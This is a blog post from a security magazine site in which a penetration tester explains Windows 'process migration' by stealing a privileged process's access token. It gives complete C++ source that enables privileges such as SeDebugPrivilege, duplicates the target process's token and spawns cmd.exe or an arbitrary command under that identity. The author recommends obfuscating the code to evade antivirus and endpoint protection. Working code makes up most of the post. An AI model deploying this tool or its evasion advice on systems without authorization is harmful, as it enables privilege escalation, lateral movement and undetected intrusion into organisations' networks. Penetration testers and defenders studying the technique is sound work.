Viktor Minin: On Process Migration

Hi,

Today I want to talk about an old technique used by many automation scripts and shells: Process Migration.

Most of us (people who are working in the Cyber Security Industry) know that a lot of hackers/pentesters/script kiddies use process migration techniques in their work to gain access to a privileged user on their victim machine.

  • Let’s take a situation where you are facing a Black Box penetration testing of an internal network. You have no users, no IPs, or any other information about this organization. All you have is an RJ45 wall port that you can connect to it. I will skip the network scanning, bypassing the restrictions and security solutions that we might face and we will skip to the point where we have access to one of internal computers, which is connected to the domain network.

In my daily work, sometimes, I’m faced a situation where I compromise some machines with local admin privileges in an internal network (Microsoft Domain Network) of one of my customers, but I didn’t have any next point to lateral movement. Same as the situation I described, I didn’t have anything, and I could rely only on my skills. I don’t want to talk about all the techniques that we can perform to advance to the next steps in our lateral movement, but I would like to talk about one specific scenario a lot of professionals are familiar with, which is “Process Migration”.

Take a situation for example, where you have the local admin privileges on a compromised machine and after examination of the running processes you find that one of the processes is running with the privileges of some “Domain User” (occasionally this user has some high privileges in a domain). What can we do with this? Right, we can try to migrate to this process (by stealing its privilege tokens). Because we have local admin privileges, we can further escalate to “nt authority\system”, but we have a slight problem, the most popular way used for migrating to another process is by using a “meterpreter shell” which can be problematic for us, because a lot of security solutions (AV, end-point-protection, etc.) easily detect the shell and block it and will send an alert to the SOC systems and more.

While searching the Internet for a solution, I couldn’t find any script or source code that could help me to avoid the security solutions and migrate successfully to any wanted process.

This is the reason why I wrote this post and wanted to share with you my simple C++ code that can help you with this goal. We can use it and obfuscate it to avoid the security solutions on your daily penetration testing scenarios.

These are some of the things that my code does:

  • I am checking if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
  • Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
  • Duplicate their tokens (privileges in Windows system was managed by tokens).
  • If the duplication was successful, it tries to run new process by using these duplicated tokens.
  • Congratz! We successfully stole the wanted tokens and we can open a new cmd.exe window with them.

Thanks for Reading.

Special Thanks to my friend Alexander Korznikov.

Viktor Minin

Viktor’s LinkedIn profile: https://www.linkedin.com/in/mininviktor/

 

The source code of my solution:

 

#include <windows.h>

#include <wchar.h>

#include <iostream>

#include <stdio.h>

#include <stdlib.h>

using namespace std; 

void usage(char *name)

{

       cout << "(-) Ex.: " << name << " <PID>  :: for open cmd.exe with new privileges.\n";

       cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by privileges of requested PID.\n";

} 

BOOL SetPrivilege(     HANDLE hToken,       // access token handle     LPCTSTR lpszPrivilege,  // name of privilege to enable/disable        BOOL bEnablePrivilege // to enable or disable privilege )

{

       TOKEN_PRIVILEGES tp;

    LUID luid;

    if (!LookupPrivilegeValue(

              NULL,            // lookup privilege on local system

              lpszPrivilege,   // privilege to lookup

              &luid))        // receives LUID of privilege

    {

              printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());

              return FALSE;

    }

       tp.PrivilegeCount = 1;

       tp.Privileges[0].Luid = luid;

    if (bEnablePrivilege)

              tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    else

              tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))

    {

              printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());

              return FALSE;

    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 

    {

              printf("\t(-) The token does not have the specified privilege. ");

              return FALSE;

    }

    return TRUE;

}

BOOL check()

{

    BOOL result = TRUE;

    BOOL bResult;

    HANDLE fhToken;

    LUID fLuid;

       PRIVILEGE_SET privs;

       OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);

    wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };

    for (int i = 0; i < 2; i++)

    {

              if (!LookupPrivilegeValue(

                      NULL,                               // lookup privilege on local system

                      (LPCTSTR)cPrivs[i],                // privilege to lookup

                      &fLuid))                          // receives LUID of privilege

                      {

                             printf("LookupPrivilegeValue error: %u\n", GetLastError());

                             ExitProcess(0);

                      }

              privs.PrivilegeCount = 1;

              privs.Control = PRIVILEGE_SET_ALL_NECESSARY;

              privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;

              privs.Privilege[0].Luid = fLuid;

              PrivilegeCheck(fhToken, &privs, &bResult);

              if (!bResult)

                      {

                             wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);

                             result = FALSE;

                      }

    }

    return result;

}

int main(int argc, char *argv[])

{

    DWORD flag;

    if (argc <= 1 || argc >= 4)

    {

              usage(argv[0]);

              exit(0);

    }

    char *command;

    if (argc > 2)

    {

              command = argv[2];

              flag = CREATE_NO_WINDOW;

    }

    else

    {

              command = "cmd.exe";

              flag = 0;

    }

    DWORD pid = atoi(argv[1]);

    cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";

    cout << "(!) Check if the process have an required permissions...\n";

       Sleep(1000);

    if (!check())

    {

              cout << "(!) Trying to set the necessary privileges.\n";

              HANDLE currentProcessToken;

              OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);

              wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};

              for (int i = 0; i < 9; i++)

              {

                      if (!SetPrivilege(currentProcessToken, privs[i], true))

                      {

                             wprintf(L"Access denied to set %s \n", privs[i]);

                             cout << "\t(-) You do not have the specified privilege. Migration aborted.\n";

                             ExitProcess(0);

                      }

              }

    }

       cout << "\t(+) All required Permissions were successfully granted.\n\n";  

       cout << "(!) Trying to open handle for requested PID.\n";

       Sleep(1000);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (!hProcess) {

              cout << "\t(-) Can not open handle for requested PID";

              ExitProcess(0);

    }

    cout << "\t(+) The HANDLE was created success.\n\n";

       cout << "(!) Try to duplicate existing tokens of the requested PID " << pid << "\n";

    HANDLE NewTokens;

    if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))

    {

              cout << "\t(-) Denied to handle Process Tokens\n";

              ExitProcess(0);

    }

       cout << "\t(+) Extracting tokens was successful\n";

       Sleep(500);

    HANDLE hPrimaryToken;

    if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))

    {

              cout << "\t(-) Denied to Duplicate process Tokens\n";

    }

       cout << "\t(+) Duplicate tokens was successful\n\n";

       Sleep(1000);

    cout << "(!) Try to execute new process with duplicated tokens.\n";

       STARTUPINFO si;

       PROCESS_INFORMATION pi;

       ZeroMemory(&si, sizeof(si));

    si.cb = sizeof(si);

       si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user

       ZeroMemory(&pi, sizeof(pi));

    wchar_t cmd[500];

       swprintf_s(cmd, L"cmd.exe /c %hs", command);

       Sleep(500);

    if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))

    {

              cout << "\t(-) Something went wrong!!! \n\t";

              printf("     -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());

              ExitProcess(0);

    }

       cout << "[***] We successfully Migrated to requested PID. [***]\n";

    if (command != argv[2])

    {

              cout << "[***] The CMD console with new privileges was opened. [***]\n";

    }

    else

    {

              cout << "[***] Command was executed successfully!!! [***]";

    }

    return 0;

}

August 10, 2018

Leave a Reply

avatar

This site uses Akismet to reduce spam. Learn how your comment data is processed.

  Subscribe  
Notify of

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

Privacy Preference Center

Necessary

Cookies that are necessary for the site to function properly. This includes, storing the user's cookie consent state for the current domain, managing users carts to using the content network, Cloudflare, to identify trusted web traffic. See full Cookies declaration

gdpr, PYPF, woocommerce_cart_hash, woocommerce_items_in_cart, _wp_wocommerce_session, __cfduid [x2],

Performance

These are used to track user interaction and detect potential problems. These help us improve our services by providing analytical data on how users use this site.

_global_lucky_opt_out, _lo_np_, _lo_cid, _lo_uid, _lo_rid, _lo_v, __lotr
_ga, _gid, _gat, __utma, __utmt, __utmb, __utmc, __utmz
vuid

Advertising

Receive our promotional offers and latest news

Newsletter


tr, fr
ads/ga-audiences